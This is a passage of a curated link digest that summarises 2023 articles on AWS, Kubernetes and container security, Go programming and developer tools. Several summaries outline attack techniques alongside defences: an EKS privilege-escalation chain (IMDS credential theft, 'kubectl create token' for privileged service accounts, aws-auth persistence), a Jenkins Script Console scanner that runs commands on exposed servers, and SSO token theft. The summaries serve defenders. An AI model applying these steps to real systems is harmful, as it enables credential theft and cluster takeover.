    • Age: Instructions target Python 3.6 and Node >= 14, both old now.

    Takeaway: A reference pattern for centralizing alarm management in multi-account setups. Expect to update runtimes and adapt the VPCx-specific SNS assumptions.

  • kube-iptables-tailer: Better Network Visibility for Your Kubernetes Clusters
    summary

    TL;DR: kube-iptables-tailer from Box runs in the cluster, watches the host’s iptables log for dropped packets, and reports them as Kubernetes events on the affected pods.

    • Mechanism: Tails the iptables log file (or a journald directory) mounted from the host and parses lines that carry a configured --log-prefix.
    • Attribution: Maps source and destination IPs to running pods, and falls back to DNS lookup for IPs outside the cluster.
    • Visibility: Drops show up as PacketDrop warning events in kubectl describe pods, e.g. “Packet dropped when receiving traffic from …”.
    • Setup: Add a LOG rule such as iptables -A CHAIN_NAME -j LOG --log-prefix "EXAMPLE_LOG_PREFIX: ". Run as a DaemonSet and mount the log’s parent directory so log rotation is handled.
    • Requirements: Go 1.13+, Docker 17.05+, Kubernetes 1.11+. You build the container from source with make container.

    Takeaway: If NetworkPolicy or host firewall drops are invisible to app teams, this pushes them to where developers already look. Check maintenance status, since the listed requirements are dated.

  • Privilege Escalation in AWS Elastic Kubernetes Service
    summary

    TL;DR: Calif researchers show that any pod on a default EKS node can steal the node’s IAM credentials from IMDS, exchange them for a system:node Kubernetes token, and mint service account tokens for other pods on the same node, up to cluster-admin.

    • Step 1: From a low-privilege pod, get the EC2 instance role credentials from the metadata service, then run aws eks get-token --cluster-name=... to get a system:node identity.
    • Step 2: NodeRestriction still lets a node act on pods bound to it. kubectl create token -n ns1 sa-priv --bound-object-kind=Pod --bound-object-name=... --bound-object-uid=... returns a token for a privileged pod’s service account.
    • Test setup: EKS v1.25.7, one node, an alpine pod plus a pod using a cluster-admin service account.
    • Persistence: With admin rights, adding a record to the aws-auth ConfigMap keeps access even after the EC2 role’s permissions are revoked.
    • Mitigations: IMDSv2 with http_put_response_hop_limit set to 1, or iptables rules blocking IMDS. Isolate untrusted workloads on separate nodes and restrict public access to the API endpoint.
    • Update (Nov 2023): cert-manager’s service account has full pod permissions, which opens another escalation path.

    Takeaway: On EKS, treat every pod as having its node’s privileges until IMDS is blocked. Keep privileged service accounts off nodes that run untrusted workloads.

  • Introducing AWS Lambda Response Streaming
    summary

    TL;DR: AWS Compute Blog launch post for Lambda response streaming, which lets functions send partial responses to clients as data becomes available, to cut time to first byte and allow larger payloads.

    • Payload size: Streams responses beyond Lambda’s 6 MB buffered limit, up to a soft limit of 20 MB.
    • Runtimes: Node.js 14.x and later managed runtimes, plus custom runtimes.
    • Handler: Wrap the handler with awslambda.streamifyResponse(async (event, responseStream, context) => ...). Use pipeline() rather than write(), and call responseStream.end() when using write().
    • Invocation: Through Lambda function URLs (including as a CloudFront origin), or the new InvokeWithResponseStream API in the SDK.
    • Limits: API Gateway and ALB do not support chunked transfer, so no TTFB gain through them. API Gateway can still return larger payloads, up to 10 MB, via HTTP_PROXY.

    Takeaway: Use function URLs with streaming for SSR, LLM-style token streams or large exports. Do not expect a streaming benefit behind API Gateway or ALB.

  • Announcing Updates to the AWS Well-Architected Framework
    summary

    TL;DR: AWS Architecture Blog announcement of a 2023 Well-Architected Framework update touching all six pillars, with more prescriptive best practices and a new Application Security area.

    • Scale: 113 best practices updated and 14 new ones; 78% of the 127 new or updated practices now include explicit implementation steps.
    • Security pillar: A new Application Security (AppSec) area with eight best practices covering development, testing and release.
    • Other pillars: Operational Excellence adds support plans and outage communication plans. Reliability adds design for availability targets and SLAs, plus the resilience shared responsibility model. Cost Optimization adds automation and data-retention enforcement. Sustainability adds a Region selection process.
    • Service coverage: Expanded coverage of Elastic Disaster Recovery, Trusted Advisor, Resilience Hub, Config, Security Hub, GuardDuty, Organizations, Control Tower, Compute Optimizer, Budgets, CodeWhisperer and CodeGuru.
    • Context: Combined with 51 practices improved in 2022, more than 50% of the framework’s best practices had been recently updated. Available in 11 languages.

    Takeaway: If your last Well-Architected review predates 2023, re-run the Security pillar at least, since the AppSec questions are new.

  • Investigate Security Events by Using AWS CloudTrail Lake Advanced Queries
    summary

    TL;DR: AWS Security Blog walkthrough of using CloudTrail Lake SQL queries across an AWS Organization to investigate incidents, starting from a GuardDuty finding about a leaked access key.

    • Prerequisites: An organization-level CloudTrail Lake event data store with management and data events, a delegated administrator account so queries do not run from the management account, and GuardDuty.
    • Scenario 1: A compromised access key. Nine example queries follow step 12 of the “Compromised IAM Credentials” incident response playbook.
    • Example query: SELECT eventSource,eventName,sourceIPAddress,eventTime,errorCode FROM <event-data-store> WHERE userIdentity.accessKeyId = '...' AND eventTime > ..., bounded by GuardDuty’s EventFirstSeen and EventLastSeen.
    • Pivoting: Follow-up queries find which role was assumed via AssumeRole, what that role did, and which IPs are indicators of compromise.
    • Second scenario: The post covers a further incident scenario using the same method.

    Takeaway: Save these queries as an IR runbook before you need them. CloudTrail Lake only helps if the org-wide event data store already exists.

  • Unlock Any CLI Using Biometrics with 1Password Shell Plugins
    summary

    TL;DR: 1Password announced Shell Plugins, which keep CLI API keys in encrypted 1Password vaults instead of plaintext config files and unlock them per terminal session with Touch ID or other biometrics.

    • Problem: CLIs such as GitLab, AWS or Stripe usually store long-lived keys in plaintext config files that any local process can read.
    • Launch plugins: GitLab, CircleCI, AWS, Sentry, Stripe, Twilio and GitHub, among others.
    • Setup: Install 1Password CLI, then for example op plugin init glab. Existing credentials can be imported, then removed from disk.
    • MFA: Where the service supports it, 1Password fills in MFA codes automatically.
    • Extensibility: An open-source plugin SDK, in beta at the time, for adding any CLI.
    • CI/CD: New integrations reference 1Password secrets from CircleCI, Jenkins and GitHub Actions.

    Takeaway: A low-effort way to get static cloud and SaaS keys out of ~/.aws/credentials-style files on developer laptops. Short-lived credentials such as SSO are still better where the service offers them.

  • Intro to Forensics in the Cloud: A Container Was Compromised. What’s Next?
    summary

    TL;DR: A Wiz blog introduction to cloud DFIR covering how it differs from endpoint forensics, a cheat sheet of log sources and tools to set up in advance, and a walkthrough of investigating a compromised container.

    • Guiding questions: Initial access point, lateral spread, persistence, impact, and prevention.
    • Cloud vs endpoint: Cloud architecture (VMs, containers, serverless, identities) differs, and attacker goals differ too. Cloud attacks are mostly resource hijacking (e.g. mass EC2 creation) or access to sensitive data.
    • Five sources: Cloud provider audit logs (CloudTrail, GCP Cloud Audit Logs, Azure sign-in, audit, activity and resource logs), VPC flow logs, orchestration logs (Kubernetes audit), workload image snapshots, and runtime events.
    • Gotcha: Traffic to IMDS appears in provider logs, not in VPC flow logs.
    • Preparation: Logs and tooling must exist before the attack, or the investigation has blind spots.

    Takeaway: Check now that CloudTrail, flow logs and Kubernetes audit logs are on and kept long enough, and that you can snapshot a running container’s disk.

  • Rule Writing for CodeQL and Semgrep
    summary

    TL;DR: Eugene Lim (spaceraccoon) compares writing custom rules in CodeQL and Semgrep after a year with both, arguing that the syntax gap reflects deeper differences in how each tool models code.

    • CodeQL: QL looks like SQL but is Datalog-based and object-oriented. Writing it well means knowing the standard library classes and predicates, e.g. DataFlow::PropWrite.
    • Semgrep: Pattern-oriented YAML rules that look like the target code, shown with an Electron allowRunningInsecureContent rule from njsscan.
    • Code model: Semgrep turns code into a generic AST, then an intermediate language. That makes adding languages easier but loses data flow and control flow detail.
    • Taint tracking: CodeQL does global taint tracking out of the box. In 2023 Semgrep offered it only in paid Semgrep Pro, without path sensitivity, pointer or shape analysis, or soundness guarantees.
    • Trade-off: Semgrep is quicker to learn and extend; CodeQL catches more complex data-flow bugs.

    Takeaway: Use Semgrep for fast pattern and guardrail rules across many languages. Invest in CodeQL when you need interprocedural taint analysis for real vulnerability hunting.

  • Go’s Error Handling Is a Form of Storytelling
    summary

    TL;DR: Preslav Rachev argues that Go’s explicit if err != nil handling pays off when each layer wraps the error with context, so the final message tells the story of what failed.

    • Anti-pattern: Bare return err leads to useless logs like ERROR: not found. Ignoring errors with _ leads to panics, which crash the whole Go app.
    • Wrapping: fmt.Errorf("obtaining result for id %s: %w", id, err) adds context, and %w keeps the original error for errors.Is(err, sql.ErrNoRows).
    • Message style: Keep messages short and describe what was being attempted. Avoid “failed”, “cannot” and “error while”.
    • Result: Wrapped chains read like tracking parcel location: fetching order status: connecting to the DB.
    • Code as docs: Error context also documents intent in the code, much as comments would.

    Takeaway: Make wrapping with %w and a short verb phrase the team convention. It costs little and makes logs readable without stack traces.

  • The Tao of Go
    summary

    TL;DR: John Arundel (Bitfield Consulting) uses the Taoist “three treasures” of kindness, simplicity and humility as a frame for idiomatic Go: work with the grain of the language rather than against it.

    • Kindness: Write for humans. Use descriptive package names, good docs and generous licenses, require minimal configuration and dependencies, give helpful error messages, and be gentle in code reviews.
    • Continuous refactoring: Make small improvements every time you touch the codebase, since full rewrites rarely happen.
    • Simplicity: Be explicit and avoid magic. Do not use concurrency where it does not help. Keep packages decoupled and stop types leaking across boundaries. Process data as a stream.
    • Interfaces: “Accept interfaces, return structs”, and do not pass contexts where they are not needed.
    • Performance: Do not obsess. Go is fast enough that simplicity should win.
    • Humility: Do not be clever, use the standard library, and accept that you make mistakes, which Go’s tooling such as unused-import errors helps catch.

    Takeaway: A short philosophy piece, good for onboarding new Go developers or as a code review reference when debating “clever” designs.

  • How Go Fixed Everything That Was Wrong with Programming
    summary

    TL;DR: An opinion piece by Jan Kammerath (April 2023) arguing that Go is the “Goldene Mitte”, a pragmatic middle ground between C’s performance and the developer ergonomics of JavaScript, Python, Java and C#.

    • Performance: Compiled with garbage collection. The author says it trails C because of GC but beats interpreted (JS, Python) and VM-based (Java, C#) languages.
    • No inheritance: Structs and interfaces with composition instead of class inheritance, which the author frames as enforced simplicity.
    • Static typing: Credited with better maintainability and with avoiding the need to bolt types on later, as TypeScript did for JavaScript.
    • Errors: Explicit err != nil returns instead of exceptions, with examples of handling, panicking, or discarding with _.
    • Weak spots: The author does not recommend Go yet for mobile apps, embedded software or GPU-accelerated code.
    • Source caveat: Medium blocked direct fetching, so this is based on a Wayback Machine copy of the article.

    Takeaway: An opinion essay rather than a technical deep dive. Useful as a framing for choosing Go for server-side and serverless work, not as evidence.

  • Exploiting and Securing Jenkins Instances at Scale with GroovyWaiter
    summary

    TL;DR: Dylan Makowski of NVIDIA’s red team introduces GroovyWaiter, a Python script that checks a list of Jenkins URLs for an unauthenticated Script Console and runs a command on any that are exposed.

    • Target: The Jenkins Script Console at /script runs arbitrary Groovy. It is normally gated by the Overall/Read permission, but lax access control can leave it open to anyone.
    • Tool behavior: For each URL it tries the console and runs id on Linux or whoami.exe on Windows, then prints a results table.
    • Impact: From an open console an attacker can dump all stored secrets, run any system command, and decrypt previously found secrets with Groovy functions.
    • Context: The post cites over 300,000 Jenkins installations. Jenkins is a ransomware and supply-chain target because it holds secrets and source code.
    • Approach: Focuses on abusing intended Jenkins features rather than CVEs.
    • Defense: Apply proper authentication and access control as described in the Jenkins security documentation.

    Takeaway: Scan your own estate for Jenkins instances with an anonymously reachable /script. An exposed Script Console means full compromise of the server and its credentials.

  • Container Security Fundamentals Part 3: Capabilities
    summary

    TL;DR: Part 3 of Datadog Security Labs’ container security series explains Linux capabilities, how Docker restricts them by default, and how to drop the ones containers do not need.

    • Demo: Even as root in a container, date +%T -s "08:08:08" fails with “Operation not permitted” because CAP_SYS_TIME is not granted.
    • Background: Capabilities split root into 41 privileges, from narrow ones (CAP_AUDIT_READ) to broad ones (CAP_SYS_ADMIN).
    • Tooling: pscap and filecap (libcap-ng-utils) show process and file capabilities, setcap adds CAP_NET_BIND_SERVICE to a binary, and amicontained shows effective rights from inside a container.
    • NET_RAW: Usually not needed for ping, because ping_group_range is set in Docker network namespaces (since 2020) and is a Kubernetes “safe” sysctl since 1.18.
    • NET_BIND_SERVICE: Docker sets net.ipv4.ip_unprivileged_port_start=0 in containers, so binding low ports often works without it.
    • Method: Run with --cap-drop=ALL, run the test suite, and add back only what fails.

    Takeaway: Default Docker capabilities are more than most apps need. Start from drop: ["ALL"] in pod security contexts and add capabilities back explicitly.

  • Managing Kubernetes Secrets Like a Pro
    summary

    TL;DR: Tanat Lokejaroenlarb (Adevinta) explains when native Kubernetes Secrets fall short and how Adevinta uses Sealed Secrets for secrets kept in Git and External Secrets Operator for secrets synced from a secrets manager.

    • Problem: Native Secrets are only Base64-encoded. Anyone with namespace RBAC read access can decode them, and they cannot be committed to Git next to manifests.
    • Sealed Secrets: Encrypt with kubeseal --cert <public-key> --namespace <ns> secret.json. Only the in-cluster controller, which holds the private key, can decrypt a SealedSecret back into a native Secret.
    • Limitation: Hard to keep aligned with a source-of-truth store such as Vault or AWS Secrets Manager, especially with credentials that rotate every seven days.
    • External Secrets: A SecretStore defines how to connect (e.g. AWS Secrets Manager in eu-west-1 with access key refs), and an ExternalSecret defines what to sync into a Kubernetes Secret.
    • App impact: Both approaches end in native Secrets, so applications do not change.
    • Source caveat: Medium blocked direct fetching, so this is based on a Wayback Machine copy that was partly truncated.

    Takeaway: Use Sealed Secrets for GitOps-only setups. Use External Secrets when a central secrets manager is the source of truth or secrets rotate.

  • How to Yubikey: A Configuration Cheatsheet
    summary

    TL;DR: A practical cheatsheet by kmille (debugging.works) for configuring a YubiKey 5 on Linux with ykman, covering TOTP, U2F/FIDO2 and other applications, with backup advice.

    • Inspect: ykman list and ykman info show the firmware and enabled applications (OTP, FIDO2, OATH, OpenPGP, PIV). Toggle them with ykman config nfc --disable PIV or ykman config usb --enable-all.
    • TOTP: ykman oath accounts add test --touch, then ykman oath accounts code. A YubiKey 5 NFC holds 32 TOTP secrets; Yubico Authenticator offers a GUI.
    • TOTP backup: Keep the base32 secret elsewhere (e.g. KeePassXC in a separate database, or pyotp), since TOTP secrets are not exportable from the key.
    • U2F/WebAuthn: Phishing-resistant because the challenge-response is bound to the origin. It needs libfido2 on Arch, and Firejail users must set browser-disable-u2f no.
    • U2F backup: Private keys cannot be copied, so register multiple keys per account.
    • Tooling note: Written against ykman 4.0.9. Some features depend on firmware version.

    Takeaway: Keep this as a reference for (re)provisioning keys. Always enroll a second YubiKey for FIDO2 accounts, and back up TOTP seeds before loading them.

  • How to Implement a Centralized Immutable Backup Solution with AWS Backup
    summary

    TL;DR: An AWS Storage Blog walkthrough for copying backups from workload accounts into a separate central backup account in AWS Organizations, protected by layered guardrails to make them immutable and resistant to ransomware.

    • Data-level guardrails: AWS Backup Vault Lock plus a vault access policy on the central vault.
    • Account-level guardrails: An Organizations SCP that blocks everyone except the authorized admin from changing or managing the central vault.
    • Detection: An EventBridge rule that alerts if anyone other than the admin performs changes or management operations on the vault.
    • Encryption: A KMS customer managed key created in the central backup account encrypts the vault.
    • Delivery: A CloudFormation template, including a custom resource that creates the SCP from the management account and uses StackSets.
    • Prerequisites: All accounts in Organizations with all features and SCPs enabled, plus a delegated administrator.

    Takeaway: Ransomware-resistant AWS backups need a separate account, Vault Lock and an SCP together. Any one of them alone can be bypassed by an admin in the source account.

  • Cloud Red Teaming: AWS Initial Access & Privilege Escalation
    summary

    TL;DR: A slide deck by TweekFawkes from BSidesTampa (April 1, 2023) on getting from zero to cloud admin in AWS, aimed at both red and blue teams.

    • Initial access: Stealing SSO tokens and browser cookies, plus what the abstract calls a unique cloud-native technique for initial access to AWS.
    • Privilege escalation: Using graph databases such as Neo4j to find escalation paths.
    • Detection: Cloud provider logging services and the suspicious events defenders should watch.
    • Audience: Covers cloud basics first, so cloud expertise is not required.
    • Source caveat: Summary based on the Speaker Deck abstract; individual slide contents were not reviewed.

    Takeaway: Worth skimming for the SSO token theft and graph-based path-finding ideas. Pair it with checks that your CloudTrail alerts cover these events.

  • How to Troubleshoot Memory Leaks in Go with Grafana Pyroscope
    summary

    TL;DR: A Grafana Labs post on finding Go memory leaks, mainly leaked goroutines, with Grafana Pyroscope continuous profiling.

    • Typical leak: An HTTP handler starts go longRunningTask(responses) but never reads the channel. The goroutine blocks forever and keeps its 100 KB buffer alive.
    • Prevention: Signal exit through channels, use context cancellation, and wait with sync.WaitGroup.
    • Step 1: Find the affected service and time window from logs, metrics or traces (restarts, memory alerts, SLO breaches).
    • Step 2: Add github.com/pyroscope-io/client/pyroscope and call pyroscope.Start(...). CPU, alloc and inuse profiles are on by default; goroutine, mutex and block profiles are optional.
    • Step 3: Look at goroutine counts over time first, then memory flame graphs. Goroutine stacks show where each one is blocked.
    • Caveat: Memory profiles show who allocated memory, not who is still holding it.

    Takeaway: For slow memory growth in Go services, graph goroutine counts before anything else. Continuous profiling makes the leaking call site obvious.

  • Go Integration Testing with Courage and Coverage
    summary

    TL;DR: Vladimir Dementyev (Evil Martians) shows how he raised AnyCable-Go’s reported coverage from about 50% to 76% without writing new Go tests, by measuring coverage of black-box integration tests with Go 1.20’s go build -cover.

    • Starting point: Unit test coverage reported through Coveralls (coverallsapp/github-action@v2) was 54%, even though bug reports were rare.
    • Black-box tests: Rails Action Cable conformance tests (the anyt gem) and per-commit benchmark tests written in a Ruby DSL.
    • Leak test: Launch the server, run websocket-bench twice, read goroutine counts with gops, and fail above 200 or on more than 10% growth.
    • Key feature: Go 1.20 go build -cover produces instrumented binaries, so coverage from external integration runs can be collected and merged.
    • Lesson: Unit-only coverage numbers can understate how well a project is actually tested.

    Takeaway: If your Go service is mainly tested end to end, build it with -cover in CI and merge those profiles, so coverage reflects reality.

  • cw-logs-insights-gpt: Chrome Extension That Generates CloudWatch Logs Insights Queries from ChatGPT Prompts
    summary

    TL;DR: A small Chrome extension by Lars Jacobsson that turns plain-English prompts typed in the CloudWatch Logs Insights console into Logs Insights queries using the OpenAI API.

    • Usage: Type a prompt inside double quotes in the query editor, then click the “Convert to query” button that appears.
    • Setup: Create an OpenAI API key and put it in src/apiKey.js as export const apiKey = '...'.
    • Build: npm install && npm run build, then load build/ as an unpacked extension in Chrome developer mode.
    • Scaffold: Bootstrapped with Chrome Extension CLI.
    • Caveat: The API key is compiled into the extension bundle, and log context goes to OpenAI.

    Takeaway: A 2023-era proof of concept. AWS now offers natural-language query generation in CloudWatch, which avoids sending data to a third party.

  • Google Authenticator Now Backs Up Your 2FA Codes to the Cloud
    summary

    TL;DR: BleepingComputer reports (April 2023) that Google Authenticator 6.0 for iOS and Android can sync 2FA one-time password secrets to the user’s Google Account, adding backup and multi-device support.

    • Problem solved: Codes were stored on one device only, so losing the phone meant losing every 2FA setup.
    • Flow: After updating, the app prompts you to sign in to a Google Account and sync codes.
    • Requirement: Google requires 2-step verification on that Google Account for cloud backup.
    • Rollout: Available on iOS at publication and rolling out gradually on Android.
    • Scale: The app had over 100 million installs.

    Takeaway: Sync trades the loss risk for account-takeover risk. If you enable it, harden the Google Account itself, ideally with a security key.

  • Using Nix with Dockerfiles
    summary

    TL;DR: Mitchell Hashimoto shows how to build Docker images with a normal Dockerfile that uses Nix in a builder stage and copies only the Nix store closure into a FROM scratch image, so dev, CI and production share one definition.

    • Argument: Without Nix, local dev, CI YAML and the Dockerfile each describe the environment separately and drift apart. With Nix, one flake is the single source of truth.
    • Example: A Flask app packaged with a flake using poetry2nix.mkPoetryApplication, plus a devShell with Python and Poetry. nix build produces result/bin/app.
    • Builder stage: FROM nixos/nix:latest, then nix --extra-experimental-features "nix-command flakes" --option filter-syscalls false build.
    • Closure copy: cp -R $(nix-store -qR result/) /tmp/nix-store-closure, then copy it into FROM scratch.
    • Result: A minimal image holding only the app’s runtime dependencies.
    • Honest trade-off: The author says Nix plus Docker is harder than Docker alone in isolation, and pays off once the same config also drives dev and CI.

    Takeaway: If you already use Nix flakes for dev shells, this pattern gives small, reproducible images without learning dockerTools.

  • Argo CD End User Threat Model: Security Considerations for Hardening Declarative GitOps CD on Kubernetes
    summary

    TL;DR: A short CNCF community post by Andres Vega (ControlPlane) and Michael Crenshaw (Argo CD) announcing ControlPlane’s threat model report for a typical production Argo CD deployment.

    • Scope: A threat-modeling analysis of a representative production Argo CD setup, with security recommendations.
    • Attack trees: Visualizations of the threat landscape, meant to help explain to non-technical stakeholders why controls are needed.
    • Reproducibility: Includes the deployment architecture and code to reproduce it.
    • Format: The blog post is only an announcement. The substance is in the linked full report.
    • Source caveat: Summary based on the short CNCF post; the linked report itself was not reviewed.

    Takeaway: Read the full report before exposing Argo CD in production. Its attack trees work well to justify hardening work to management.

  • dexter: Ensure All Your Images Are Pinned by Digest for Better Security
    summary

    TL;DR: Dexter, by ChaosInTheCRD, is a Go CLI meant for CI that finds container image references in a repository and rewrites them from mutable tags to immutable @sha256 digests.

    • Why: Anyone with registry write access can repoint a tag (e.g. grafana/grafana:4.2.0). Pinning to a digest blocks tag hijacking and supply-chain swaps such as injected crypto-miners.
    • Output: References become e.g. index.docker.io/grafana/grafana@sha256:7ff7f9....
    • Parsers: Kubernetes manifests (Pod, Deployment, ReplicaSet, StatefulSet, DaemonSet, Job, CronJob) and Dockerfiles.
    • Usage: go run . manipulate --directory <repo>.
    • Config: A YAML file selects parsers and lists files or references to ignore. The README calls the config very basic.
    • URL note: The repo now resolves to github.com/ChaosInTheCRD/Dexter.

    Takeaway: A simple way to enforce digest pinning. Pair it with Renovate or Dependabot so pinned digests still get updated.

  • AWS Announces Three New Amazon GuardDuty Capabilities to Protect Container, Database, and Serverless Workloads
    summary

    TL;DR: An AWS press release (April 2023) announcing three Amazon GuardDuty extensions: EKS Runtime Monitoring, RDS Protection for Aurora, and Lambda Protection.

    • EKS Runtime Monitoring: Threat detection based on runtime behavior inside containerized workloads.
    • RDS Protection: Detects threats to data in Amazon Aurora databases.
    • Lambda Protection: Detects threats to serverless applications.
    • Scale claims: Tens of thousands of customers, protecting more than half a billion EC2 instances and millions of S3 buckets. Over 100 detection capabilities added since the 2017 launch.
    • Threat intel: AWS feeds plus third parties including CrowdStrike, Proofpoint and Bitdefender.
    • Named customers: Arctic Wolf, Best Buy, GE Digital, Siemens and Wiz.

    Takeaway: A press release, short on detail. Check the GuardDuty docs for the agent requirements and per-feature pricing before enabling these across an organization.

  • Mitigating DDoS with Data Science Using AWS Shield Advanced and AWS WAF
    summary

    TL;DR: An AWS Architecture Blog case study on how payments company Razorpay layers AWS Shield Advanced, AWS WAF and ML-driven rate limits at its API edge to tell DDoS traffic from legitimate B2B merchant traffic.

    • Baseline: WAF rate limiting on CloudFront for static sites and on ALB for dynamic sites. APIs that carry merchant context need multilayered defenses.
    • Response phases: An automated, risk-ranked inventory of exposed APIs, grouping assets (authenticated or not), then simulated attack traffic for testing.
    • Shield Advanced: Custom alarms, real-time visibility of top client IPs, countries, user agents and routes, and Shield Response Team support for writing WAF rules.
    • WAF: Blocking rules and per-IP rate limiting with scope-down statements.
    • ML loop: Request events go into a time-series database. Models produce malicious-confidence scores and pattern-based rate limits from weekly and monthly patterns.
    • Edge flow: High confidence means block in WAF, low confidence means CAPTCHA, plus rate limits before and after auth. Insights go to Kafka outside the request path.

    Takeaway: Static WAF rate limits are not enough for multi-tenant APIs. Per-consumer, history-based limits fed back to the edge are the reusable idea.

  • Writing an OS in Go: The Bootloader
    summary

    TL;DR: The first post in TotallyGamerJet’s series on writing an operating system in Go using only the standard Go toolchain, covering BIOS and UEFI and how to boot a Go binary.

    • BIOS vs UEFI: The author wants to support both, UEFI for modern machines and BIOS to keep old hardware out of e-waste.
    • UEFI note: UEFI executables are PE files, which the Go toolchain can produce with GOOS=windows.
    • Bootloaders: Looks at Limine and BOOTBOOT, which load ELF kernels using a linker script.
    • GCCGO problem: The existing BOOTBOOT Go example uses GCCGO and dirty hacks. The author rejects it because the goal is a self-hosting OS with no C.
    • Entry point: Go binaries start in per-platform _rt0_GOOS_GOARCH assembly. The author tries the linker -E flag to set a pure-Go _start, then runs into linker-script requirements.

    Takeaway: An educational read on Go runtime start-up and linking internals, not a production technique.

  • Random Testing in Go
    summary

    TL;DR: John Arundel’s post on random and property-based testing in Go: use many generated inputs and check invariants instead of picking a few examples by hand.

    • Round-trip test: Encode a random value, then decode it, and expect the original back.
    • Determinism: Seed a dedicated generator, e.g. rand.New(rand.NewPCG(1, 2)), to avoid flaky tests.
    • Permutation: rand.Perm(100) covers every value once in random order.
    • Property-based testing: Assert invariants (e.g. a square is never negative) rather than exact outputs.
    • Next step: Promote failing random inputs to example tests, or let Go fuzz testing do it automatically (covered in the next post).
    • Page status: The live page is titled “Random and property-based testing in Go” and uses math/rand/v2, so it was updated after 2023.

    Takeaway: Add one property-based round-trip test to any encode/decode or parse/serialize pair. It is cheap and finds edge cases.

  • Coolify: Open-Source and Self-Hostable Heroku / Netlify Alternative
    summary

    TL;DR: Coolify is an open-source, self-hostable PaaS (a Heroku, Netlify or Vercel alternative) that deploys apps, databases and one-click services to any server you can reach over SSH.

    • Targets: Your own servers, VPS, Raspberry Pi, EC2, DigitalOcean, Linode, Hetzner and others. One or many servers.
    • Builds: Nixpacks, Railpack, Dockerfile, Docker Compose, static sites or prebuilt images.
    • Databases: One-click PostgreSQL, MySQL, MariaDB, MongoDB, Redis, KeyDB, Dragonfly and ClickHouse.
    • Features: Git push-to-deploy (GitHub, GitLab, Bitbucket, Gitea), PR preview deployments, automatic Let’s Encrypt, webhooks, API, browser terminal, scheduled tasks, team permissions.
    • Model: Free self-hosting with no paywalled features, funded by sponsors, plus a paid Cloud option. The site claims 360+ one-click services.
    • Page status: The current page also advertises an MCP server for AI agents, which is newer than the 2023 link.

    Takeaway: A solid option for small teams that want Heroku-style workflows on cheap VMs. You take on patching and backing up the Coolify host yourself.

  • netchecks: Tool to Validate Assumptions About the Kubernetes Network
    summary

    TL;DR: Netchecks (hardbyte) is a set of tools for asserting that network conditions are as expected: a Kubernetes operator that runs checks and reports results as PolicyReport resources, and a netcheck CLI and Python library.

    • Operator: Written in Rust with kube-rs. Checks are declared as NetworkAssertion resources, and results are reported as PolicyReport objects. Installs via a Helm chart on ArtifactHub.
    • CLI checks: DNS, HTTP, TCP and PostgreSQL connectivity, e.g. netcheck dns --server 1.1.1.1 --host hardbyte.nz --should-pass.
    • Validation rules: CEL-style expressions such as --validation-rule "data.body.contains('GitHub lives!') && data['status-code'] in [200, 201]".
    • Install: pip install netcheck, or docker run -it ghcr.io/hardbyte/netchecks:main.
    • Output: JSON with the spec, response data, timestamps and a pass or fail status.
    • Use case: Continuously confirm that NetworkPolicies or firewalls allow or block what you expect. Full docs are at netchecks.io.

    Takeaway: Turn “this namespace cannot reach the internet” into a test that runs continuously, so policy regressions show up in reports instead of incidents.

  • Use Amazon CodeWhisperer for Your AWS Security
    summary

    TL;DR: Sena Yakut (AWS Community Builder) shows how to use Amazon CodeWhisperer, free Individual tier, generally available April 13, 2023, to generate CIS AWS Foundations Benchmark check functions and to run its security scan in VS Code.

    • Setup: Install the AWS Toolkit in VS Code and sign in with a free AWS Builder ID, which needs no AWS account. Also works in JetBrains, Cloud9 and Lambda.
    • CIS checks generated: MFA for all IAM users, access keys older than 45 days, root MFA, AWS Config enabled in all regions, and CloudTrail logs encrypted with KMS CMKs (CIS v1.5.0).
    • Prompting: The author turns benchmark control text into sentences or comments and lets CodeWhisperer write the code.
    • Security scan: CodeWhisperer found an OS command injection in a SonarQube sample, shown in the Problems panel.
    • Languages: Python, Java, JS/TS, C#, Go, Rust, Kotlin, Scala, Ruby, PHP, SQL, C/C++ and Shell.
    • Source caveat: The site blocked direct fetching, so this is based on a Wayback Machine copy. CodeWhisperer has since been folded into Amazon Q Developer.

    Takeaway: AI-generated CIS checks are a quick start, but review them against the benchmark. Mature tools such as Prowler or Security Hub CIS standards cover this already.

24.04.2023

  • The Adapter Pattern in Go
    summary

    TL;DR: John Arundel (Bitfield Consulting, from “The Power of Go: Tests”) explains the adapter pattern in Go: put all code for one external dependency, such as a database or API, behind a small interface so business logic can be tested without that dependency.

    • Core idea: An adapter, or “ambassador”, holds everything specific to one external system and translates in both directions.
    • Starting point: A Create(db *sql.DB, w Widget) function that mixes SQL details with widget logic and is hard to test.
    • Refactor: Define a Store interface. Business logic depends on the interface, and tests use a simple in-memory mapStore.
    • Production: PostgresStore with a *sql.DB implements the same Store method, with what the author calls about 1.3 million lines of code behind it.
    • Testing the adapter: Split the adapter’s behavior into chunks, inbound and outbound, as in the author’s earlier API client article, so most of it can be tested without a live server.
    • Principle: Quotes Michael Feathers: untestable code points to a design problem.

    Takeaway: If a Go test needs Postgres or a live API just to check business rules, add an interface boundary there and give the real dependency its own small, focused tests.

  • gotraceui: Go Execution Trace Frontend
    summary

    TL;DR: Gotraceui, by Dominik Honnef (dominikh), is a native GUI for visualizing and analyzing Go execution traces, meant to be a faster and more capable alternative to go tool trace.

    • Why: Unlike go tool trace, it does not use deprecated browser APIs or a browser at all, and its UI is tuned to the characteristics of Go traces.
    • Install: A Nix flake is provided. Otherwise you build honnef.co/go/gotraceui/cmd/gotraceui yourself; no distro packages yet.
    • Docs: Manuals for the latest release and the development version at gotraceui.dev.
    • Tech: Built with Gio. Packagers should pass -X gioui.org/app.ID=co.honnef.Gotraceui.
    • License: MIT for code and CC BY-SA 4.0 for the manual.
    • Known issue: Out-of-order timestamps in runtime/trace (golang/go#16755).

    Takeaway: When you need to study goroutine scheduling, GC pauses or blocking in a Go trace, try this before fighting the browser-based go tool trace UI.

  • tint: slog.Handler That Writes Tinted Logs
    summary

    TL;DR: tint, by lmittmann, is a zero-dependency slog.Handler that writes colorized logs, with output inspired by zerolog.ConsoleWriter and slog.TextHandler.

    • Install: go get github.com/lmittmann/tint.
    • Usage: slog.New(tint.NewTextHandler(os.Stderr, &tint.Options{Level: slog.LevelDebug, TimeFormat: time.Kitchen})).
    • Options: tint.Options is a drop-in replacement for slog.HandlerOptions, including ReplaceAttr.
    • Customization: Add a custom TRACE level, drop the time attribute, or color errors with tint.Attr(9, a).
    • Terminal detection: Colors are on by default. Set NoColor: !isatty.IsTerminal(w.Fd()) using go-isatty.
    • Windows: The README has a section on enabling color support on Windows.

    Takeaway: A simple way to get readable, colored dev logs from log/slog while keeping JSON or text handlers for production.

